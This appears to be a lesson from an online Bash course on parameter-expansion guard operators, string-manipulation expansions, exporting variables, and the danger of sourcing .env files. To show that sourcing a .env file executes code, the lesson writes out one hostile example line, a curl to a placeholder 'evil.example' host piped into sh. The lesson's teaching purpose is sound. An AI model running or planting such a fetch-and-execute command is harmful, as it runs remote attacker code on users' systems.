Skip to content

Lesson 4 of 14 · 14m

Parameter Expansion and the Environment

The ${var:?}/${var:-} guard operators, expansion as a text tool, what export really crosses, and why source .env executes code.

Every deploy script that has ever deleted production had a variable in it. rm -rf "$DATA_DIR/"*, rsync "$SRC/" "$DST", curl -H "Authorization: Bearer $TOKEN". Bash gives you roughly thirty parameter-expansion operators; the five that matter are the ones that decide what happens when a variable is empty. The rest of this lesson is the environment — what export actually does and why source .env is a bigger decision than it looks.

The four operators that guard you

${VAR:-default}    # use default if unset or empty — VAR itself unchanged
${VAR:=default}    # use default AND assign it to VAR
${VAR:?message}    # abort the script with message if unset or empty
${VAR:+alt}        # use alt only when VAR is set and non-empty

The colon variants test unset-or-empty; dropping the colon (${VAR-default}) tests only unset. You almost always want the colon — an empty string is usually as broken as missing.

${VAR:?} is the assert. : "${DATA_DIR:?DATA_DIR must be set}" at the top of a destructive path is the single cheapest piece of safety engineering in this course — the : builtin does nothing but expand its arguments, so the line exists purely to explode early with a readable message. Compare with set -u, which catches every unset variable but reports unbound variable with no context.

Expansion as a text tool

file="/var/log/app-2026-11-16.log"

${file#/var/log/}        # strip shortest prefix → app-2026-11-16.log
${file##*/}              # strip longest prefix → basename
${file%.log}             # strip suffix → /var/log/app-2026-11-16
${file%%.*}              # greedy suffix strip → /var/log/app-2026-11-16 (first dot)
${file/app/db}           # replace first match → /var/log/db-2026-11-16.log
${file//app/db}          # replace all matches
${file:0:8}              # substring → /var/log
${#file}                 # length → 27

These are why you don't need basename, dirname, or sed for path surgery — each of those forks a process; expansion is free. ${file##*/} and ${file%/*} are your basename/dirname. Note the greedy rule: ##/%% take the longest match, #/% the shortest. ${file%%.*} strips from the first dot, which is how backup.tar.gz loses both extensions at once.

Indirect expansion — ${!name} where name=PATH yields $PATH's value — is legal and occasionally the right tool (a config that names a variable). Treat it like eval's polite cousin: fine for a fixed vocabulary, never for untrusted input.

Shell variables versus the environment

A variable is private to your shell until you export it. FOO=bar; sh -c 'echo $FOO' prints nothing — the child got a copy of the environment, and FOO wasn't in it. Three ways across the boundary:

FOO=bar sh -c 'echo $FOO'   # prefix form: exported for this one command
export FOO=bar              # exported for every child from now on
env FOO=bar sh -c ...       # same as prefix, via /usr/bin/env

The prefix form is the underrated one — PATH=/usr/bin:/bin sudo -n cmd, LC_ALL=C sort — scoped to a single invocation, no lasting mutation. LC_ALL=C before text tools is also a real performance trick: sort and grep skip UTF-8 collation work, which is measurable on large inputs.

readonly CONFIG=prod makes a variable immutable — use it for values a bug must not change mid-run. declare -i retries=3 makes arithmetic assignment sane (retries+=1 adds, not concatenates); declare -l lowercases input, useful for normalizing yes/YES/Yes.

.env files are code

set -a; source ./.env; set +a    # load every line as an exported variable

This idiom is everywhere — and it executes the file. .env containing API_KEY=$(curl evil.example | sh) runs the payload. set -a (allexport) marks every assignment created while it's on as exported; set +a turns it off. Two rules follow: only source files you own, and know that the format is shell, not a data file — KEY=value works, export KEY=value works, KEY = value fails because the spaces make it a command named KEY.

For config you don't control, parse it as data — while IFS== read -r k v — or hand it to systemd's EnvironmentFile=, which does name=value parsing without execution.

Try this

unset LOG_DIR
echo "${LOG_DIR:-/var/log}"        # prints /var/log
LOG_DIR= ./check.sh              # vs. unset: prefix export of empty
: "${LOG_DIR:?set LOG_DIR first}"

Then run FOO=a sh -c 'echo $FOO' and FOO=a; sh -c 'echo $FOO' back to back — one prints, one doesn't. The difference is the environment boundary, and it will explain every "works interactively, empty in cron" bug you ever meet.

Pitfalls

  • ${VAR:=default} inside a function mutates the caller's variable — sometimes a feature, often a surprise.
  • export SECRET=hunter2 in a script exports to children but also leaks into ps e output on some systems and every child's environ — prefer EnvironmentFile= or reading a 0600 file.
  • CDPATH, GLOBIGNORE, BASH_ENV — exported "helpful" variables change child behavior invisibly. BASH_ENV in particular: a non-interactive bash reads it before your script. Don't export it.
  • ${var^^} and ${var,,} case-conversion need Bash 4+; ${var^} capitalizes the first char only.

Was this lesson helpful?

Sign in to rate

Keep reading

Related articles from the SudoSecurity blog.